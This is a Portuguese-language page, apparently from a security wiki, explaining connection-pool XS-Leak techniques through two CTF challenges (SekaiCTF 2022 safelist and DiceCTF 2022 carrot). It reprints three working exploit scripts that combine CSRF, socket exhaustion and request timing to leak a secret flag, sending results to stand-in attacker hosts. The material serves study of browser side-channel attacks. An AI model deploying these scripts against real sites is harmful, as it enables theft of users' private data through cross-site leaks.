# Exemplos de Pool de Conexões

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## Sekaictf2022 - safelist

No desafio [**Sekaictf2022 - safelist**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/safelist/solution), [**@Strellic\_**](https://twitter.com/Strellic\_) dá um exemplo de como usar uma **variação** da técnica de **Connection Pool** para realizar um **XS-Leak**.

Neste desafio, o objetivo é exfiltrar uma bandeira que aparecerá na sessão web do bot dentro de um post. Estes são os ativos que o atacante possui:

* O **bot** irá **visitar** uma **URL** fornecida pelo atacante
* O atacante pode **injetar HTML** na página (mas sem JS, dompurify é usado) abusando de um **CSRF** fazendo o **bot criar um post** com esse HTML.
* O atacante pode abusar de um CSRF para fazer o **bot** **deletar** o **primeiro** **post** dentro da web.
* Como os **posts** são ordenados **alfabeticamente**, quando o **primeiro post é deletado**, se o conteúdo **HTML** do atacante é **carregado**, significa que estava **alfabeticamente antes da bandeira**.

Portanto, para roubar a bandeira, a solução proposta por @Strellyc\_ é que, **para cada caractere a ser testado**, o bot deve:

* Criar um **novo post** que **começa** com a parte conhecida da **bandeira** e vários **img** **carregados**.
* **Deletar** o **post** na posição **0**.
* Bloquear 255 sockets.
* Carregar a página com os posts.
* Realizar 5 requisições aleatórias para um site (example.com neste caso) e medir o tempo que isso leva.

{% hint style="warning" %}
Se o **post deletado** era a **bandeira**, isso significa que todas as **imagens** **injetadas** no HTML estarão **competindo** com as **5 requisições aleatórias** por aquele socket **desbloqueado**. O que significa que o tempo medido será maior do que no outro cenário.

Se o **post deletado** era o **HTML**, as **5 requisições aleatórias** serão **mais rápidas** porque não precisam competir por aquele socket com o HTML injetado.
{% endhint %}

### Exploit 1

Este é o código do exploit, retirado de [https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html](https://github.com/project-sekai-ctf/sekaictf-2022/blob/main/web/safelist/solution/solve.html):
```html
<!-- Form to inject HTML code in the bots page -->
<form method="POST" action="https://safelist.ctf.sekai.team/create" id="create" target="_blank">
<input type="text" name="text" />
<input type="submit" />
</form>

<!-- Form to delete the first entry -->
<form method="POST" action="https://safelist.ctf.sekai.team/remove" id="remove" target="_blank">
<input type="text" name="index" value="0" />
<input type="submit" />
</form>

<script>
// Attacker listening
const WEBHOOK = "https://WEBHOOK.com/";
// Send data to attacker
const log = (id, data) => {
let payload = JSON.stringify({ known, alphabet, data });
console.log(id, payload);
navigator.sendBeacon(WEBHOOK + "?" + id, payload);
}

// Similar to JQuery
const $ = document.querySelector.bind(document);

// Known part of the flag
const known = "SEKAI{";
let alphabet = "_abcdefghijklmnopqrstuvwxyz}";

// Reduce the alphabet using a hash (#) in the URL
if (location.hash) {
alphabet = alphabet.slice(alphabet.indexOf(location.hash.slice(1)));
}

// Funtion to leak chars
const leak = async (c) => {
// Prepare post with known flag and the new char
let payload = `${known + c}`;
// Inject as many <img as possible
// you need to respect the CSP and create URLs that are different
for(let i = 0; payload.length < 2048; i++) {
payload += `<img src=js/purify.js?${i.toString(36)}>`;
}

// Inject HTML
$("#create input[type=text]").value = payload;
$("#create").submit();
await new Promise(r => setTimeout(r, 1000));

// Remove post with index 0
$("#remove").submit();
await new Promise(r => setTimeout(r, 500));

let deltas = [];

// Try each char 3 times
for (let i = 0; i < 3; i++) {
const SOCKET_LIMIT = 255;
// you will need a custom server that works like num.sleepserver.com/sleep/delay
// needed to freeze the blocked sockets, and they have to all be on different origins
// Check https://www.npmjs.com/package/sleep-server using subdomains DNS wildcard
const SLEEP_SERVER = i => `http://${i}.sleepserver.com/sleep/60`;

const block = async (i, controller) => {
try {
return fetch(SLEEP_SERVER(i), { mode: "no-cors", signal: controller.signal });
}
catch(err) {}
};

// block SOCKET_LIMIT sockets
const controller = new AbortController();
for (let i = 0; i < SOCKET_LIMIT; i++) {
block(i, controller);
}

// Make the bot access the page with the posts
window.open("https://safelist.ctf.sekai.team/?" + Math.random().toString(36).slice(2), "pwn");
await new Promise(r => setTimeout(r, 500));

// start meassuring time to perform 5 requests
let start = performance.now();
await Promise.all([
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" }),
fetch("https://example.com", { mode: "no-cors" })
]);
let delta = performance.now() - start;
document.title = delta;
controller.abort();

log("test_" + c + "_" + i, delta);

// Save time needed
deltas.push(delta);
}
return deltas;
};

// Check each char
const pwn = async () => {
// Try to leak each character
for(let i = 0; i < alphabet.length; i++) {
//Check the indicated char
let deltas = await leak(alphabet[i]);

// Calculate mean time from requests to example.com
let avg = deltas.reduce((a,v) => a+v, 0) / deltas.length;

// If greater than 250, the HTML code was injected (flag in index 0)
if (avg > 250) {
log("tests_pos_" + alphabet[i], deltas)
}
// Flag in the page
else {
log("tests_neg_" + alphabet[i], deltas)
}
}
};

window.onload = async () => {
pwn();
};
</script>
```
### Exploit 2

Mesma tática, mas código diferente de [https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/](https://blog.huli.tw/2022/10/05/en/sekaictf2022-safelist-xsleak/)
```html
<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs main thread.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>

<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>
<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'

const sleep = ms => new Promise(r => setTimeout(r, ms))
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')

// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1
while( (R-L)>3 ) {
let M = Math.floor((L + R) / 2)
let c = charset[M]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
L = M
} else {
R = M - 1
}
}

// fallback to linear since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}

}, 0)

async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()

setTimeout(() => {
run(str, resolve)
}, 500)
})
}

async function run(str, resolve) {
// if the request is not enough, we can send more by opening more window
for(let i=1; i<=5;i++) {
window.open(TARGET)
}

let t = 0
const round = 30
setTimeout(async () => {
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
send(str + "," + t + "," + "avg:" + avg)

/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}

// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}

</script>

</body>

</html>
```
## DiceCTF 2022 - carrot

Neste caso, o primeiro passo do exploit foi abusar de um CSRF para modificar a página onde a flag está contida, de modo que tenha **muito mais conteúdo** (e, portanto, carregá-la leva mais tempo), e então **abusar do pool de conexões para medir o tempo que leva para acessar a página** que poderia potencialmente ter a flag.

No exploit, você pode ver:

* Abusar do CSRF
* Ocupando todos os sockets, exceto 1
* Calibrar a resposta
* Começar a força bruta acessando a página potencial com a flag
* A página potencial será acessada e imediatamente uma URL controlada pelo atacante também será acessada para verificar quanto tempo ambas as requisições levam.
```html
<h1>DiceCTF 2022 web/carrot</h1>

<p>Step 1: CSRF the admin user, to set a super long title for the flag note (LAX + POST form only possible for 2 minutes after cookies is created)</p>
<button onclick="csrf()">do csrf</button>
<p>Step 2: XS-Search with <a href="https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/">connection-pool timing leak</a>, we have to use window.open (LAX cookie)</p>

<button onclick="popunder()">open popup</button>
<button onclick="exhaust_sockets()">open 255 connections</button>
<button onclick="oracle('dice{abc')">test search "abc" (slow)</button>
<button onclick="oracle('dice{xxx')">test search "xxx" (fast)</button>
<br>
<br>
<h2 id=output></h2>
<br>
<form id=x action="" method="POST" style="display:none;">
<input type="text" name="title" placeholder="title">
<br><br>
<input type="number" name="priority" placeholder="priority" value=9999>
<br><br>
<textarea name="content" placeholder="content" rows="5" cols="20"></textarea>
<br><br>
<input type="submit" value="submit">
</form>

<script>

// this is send is used as logging
LOG = 'Starting'
// 255 in normal chrome, 99 in headless
SOCKETLIMIT = 255;
// default
TIMELIMIT = 800;
INSTANCE = ''
MYSERVER = `example.com`

const sleep = (ms) => {
return new Promise(resolve => {
setTimeout(resolve, ms);
});
}

const time_fetch = async() => {
let test_server_url = `https://${MYSERVER}/?${LOG}`;
let start = window.performance.now();
try {
await fetch(test_server_url, {
mode: 'no-cors'
});
} catch (e) {
console.log(e);
}
let end = window.performance.now();
return end - start;
}

const fetch_sleep_long = (i) => {
// 40s sleep
return fetch(`https://${i}.${MYSERVER}/40sleep`, {
mode: 'no-cors'
});
}

const fetch_sleep_short = (i) => {
// 0.25s sleep
return fetch(`https://${i}.${MYSERVER}/ssleep`, {
mode: 'no-cors'
});
}

const block_socket = async (i) => {
fetch_sleep_long(i);
// needed?
await sleep(0);
}

const exhaust_sockets = async() => {
let i = 0
for (; i < SOCKETLIMIT; i++) {
block_socket(i);
}
console.log(`Used ${i} connections`);
}

const timeit = async (url, popup) => {
return new Promise(async (r) => {

popup.location = url;
// needed?
await sleep(50)

let val = await time_fetch()
r(val)
});
}

// const alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-}!"#$%&\'()*+,-./:;<=>?@[\\]^`|~{'.split('');
const alphabet = 'abcdefghijklmnopqrstuvwxyz}_'.split('');
// const alphabet = 'abcdef}'.split('');

const oracle = async (search) => {
let url = `https://carrot-${INSTANCE}.mc.ax/tasks?search=${search}`
let t = await timeit(url, WINBG)

LOG = `${search}:${t}`
console.log(`${search}:${t}`)

return t > TIMELIMIT
}

const brute = async (flag) => {
for (const char of alphabet) {
if (await oracle(flag + char)) {
return char;
}
}
return false;
}

const calibrate = async () => {
return new Promise(async (r) => {
// slow
let url1 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=dice{`
let t1 = await timeit(url1, WINBG)
console.log(`slow:${t1}`)
// fast
let url2 = `https://carrot-${INSTANCE}.mc.ax/tasks?search=XXXXXXXXXX`
let t2 = await timeit(url2, WINBG)
console.log(`fast:${t2}`)
return r((t1 + t2) / 2)
});

}

const exploit = async(flag = '') => {
console.log('Starting')
// dont go to fast plz :)
console.log(`waiting 3s`)
await sleep(3000)
// exaust sockets
await exhaust_sockets()
await sleep(2000)
LOG = `Calibrating`
TIMELIMIT = await calibrate()
LOG = `TIMELIMIT:${TIMELIMIT}`
console.log(`timelimit:${TIMELIMIT}`)
await sleep(2000)
let last;
while (true) {
last = await brute(flag);
if (last === false) {
return flag;
}
else {
flag += last;
output.innerText = flag;
if(last === '}'){
return flag
}
}
}
}

const popunder = () => {
if (window.opener) {
WINBG = window.opener
}
else {
WINBG = window.open(location.href, target="_blank")
location = `about:blank`
}
}

const csrf = async () => {
x.action = `https://carrot-${INSTANCE}.mc.ax/edit/0`
x.title.value = "A".repeat(1000000)
x.submit()
}

window.onload = () => {
let p = new URL(location).searchParams;
if(!p.has('i')){
console.log(`no INSTANCE`)
return
}
INSTANCE = p.get('i')
// step 1
if(p.has('csrf')){
csrf()
return
}
// step 2
if (p.has('exploit')) {
// window open is ok in headless :)
popunder()

exploit('dice{')
}
}
</script>
```
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